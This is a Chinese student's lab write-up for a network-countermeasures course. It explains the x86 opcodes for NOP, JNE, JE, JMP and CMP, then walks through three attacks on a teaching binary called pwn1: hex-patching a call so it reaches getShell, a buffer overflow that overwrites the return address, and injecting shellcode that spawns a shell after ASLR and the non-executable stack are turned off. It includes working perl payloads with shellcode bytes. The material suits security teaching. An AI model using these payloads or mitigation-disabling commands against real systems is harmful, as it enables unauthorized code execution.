2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

实验目的

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

    NOP:无作用,英文"no operation"的简写,意思是"do nothing"(机器码90)

    JNE:若不相等则跳(机器码75)

    JE:若相等则跳(机器码74)

    JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB),段内直接近转移Jmp near(机器码:E9),段内间接转移Jmp word(机器码:FF),段间直接(远)转移Jmp far(机器码:EA)

    CMP:比较指令,cmp的功能相当于减法指令。它不保存结果,只是影响相应的标志位(机器码39)
  • 掌握反汇编与十六进制编程器

    反汇编指令:objdump -d objfile

    十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件,其实我们只需要用各系统都兼容的vim编辑器就可以实现十六进制编辑的功能。具体步骤如下:

    • 输入命令vi 20165317pwn1查看可执行文件内容,发现大部分是我们没法理解的乱码;
    • esc后在底行输入:%!xxd将显示模式切换为16进制模式;
    • 进行相关操作后,输入:%!xxd -r转换16进制为原格式。
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击

实验内容

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

  • 注入一个自己制作的shellcode并运行这段shellcode

实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

任务一:直接修改程序机器指令,改变程序执行流程

下载目标文件pwn1,用 objdump -d 20165317pwn1 命令进行反汇编:

call 8048491 <foo> 是汇编指令

那我们想让它调用getShell,只要修改 d7ffffff 为 c3ffffff

vim 20165317pwn1 esc->:%!xxd 将显示模式切换为16进制模式:

在底行/d7查找需要修改的内容,将d7改为c3:

转换16进制为原格式::%!xxd -r

保存退出::wq

再用 objdump -d 20165317pwn1 命令反汇编看一下,call指令是否正确调用getShell:

./20165317pwn1 运行改后的代码,会得到shell提示符$:

任务二:通过构造输入参数,造成BOF攻击,改变程序执行流

可执行文件正常运行是调用foo函数,我们发现这个函数有Buffer overflow漏洞

foo函数读入字符串,但系统只预留了32字节的缓冲区,超出部分会造成溢出,我们的目标是覆盖返回地址

正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba

确认输入字符串哪几个字符会覆盖到返回地址

gdb 20165317pwn2(pwn1的副本)调试程序,输入有规律的字符串如1111111122222222333333334444444412345678,发生段错误产生溢出(tu)

info r查看寄存器eip的值,发现输入的1234被覆盖到堆栈上的返回地址(tu)

这是我们就将getShell的地址0x0804847d把1234替换

由于数据按小端存储,我们的正确输入为11111111222222223333333344444444\x7d\x84\x04\x08

因为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成包括字符串的一个文件(\x0a表示回车)

使用16进制查看指令xxd查看input文件的内容是否如预期

确认无误后用(cat input;cat) | ./20165317pwn2将input中的字符串作为可执行文件的输入(tu)

注入Shellcode并执行

修改设置


apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

(tu)

构造要注入的payload

使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'> input_shellcode 注入,其中前面32个A用来填满缓冲区buf, \x04\x03\x02\x01 为预留的返回地址retaddr:(Tu)

接下来确定\x4\x3\x2\x1到底该填什么:

打开一个终端注入这段攻击buf: (cat input_shellcode;cat) | ./20165311

再开另外一个终端,用gdb来调试pwn1这个进程:用 ps -ef | grep 20165311 命令找到pwn1的进程号是:31847(tu)

gdb attach 31847 命令启动gdb调试这个进程:(tu)

用 disassemble foo 命令反汇编,通过设置断点,来查看注入buf的内存地址(tu):

用 break *0x080484ae 命令设置断点,输入c命令(continue)继续运行,同时在20165311进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用 info r esp 命令查找地址。用 x/16x 0xffffd2dc 命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址应为 0xffffd2e0 :

接下来只需要将之前的\x4\x3\x2\x1改为这个地址即可,用命令 perl -e 'print "A" x 32;print "\xe0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

再用 (cat input_shellcode;cat) | ./20165311 命令次执行程序,攻击成功!

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